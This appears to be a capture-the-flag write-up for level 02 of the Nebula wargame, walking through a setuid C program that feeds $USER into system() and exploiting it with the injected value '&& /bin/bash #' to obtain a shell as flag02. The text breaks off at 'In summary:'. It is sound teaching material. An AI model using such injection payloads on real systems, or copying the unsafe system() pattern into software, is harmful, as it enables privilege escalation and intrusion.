Nebula Series - Level 02

22 Apr 2020


You shouldn’t trust the user. If the application executes a command that is built either entirely or partially from user input, it’s vulnerable to command injection.

Inspecting the executable in the flag account’s home directory /home/flag02 we again see that it is setuid and is owned by flag02.

To make our lives easier, we are also provided with the source:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}

Again, the application sets our REAL uid & gid to our EFFECTIVE uid & gid which means as far as the running process is concerned, we are user flag02; now we just need to get it to do our bidding.

The application builds up the command using the value in the $USER environment variable, stores it in the buffer, and eventually executes it.

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
...
system(buffer)

Our goal is to craft a value for the $USER variable such that we are provided with a shell when the command is run.

We can short circuit the call to /bin/echo with &&, invoke /bin/bash, and comment out the rest of the command with #:

$ USER='&& /bin/bash #' /home/flag02/flag02

The resulting command is

/bin/echo && /bin/bash # is cool

The # at the end is crucial because without it bash would try to execute a non-existent file called is and fail. Instead, we are presented with a shell as flag02 which we can verify with whoami if we’re in doubt.

To complete the level we use our escalated privileges to run getflag

$ getflag

"You have successfully executed getflag on a target account"

In summary: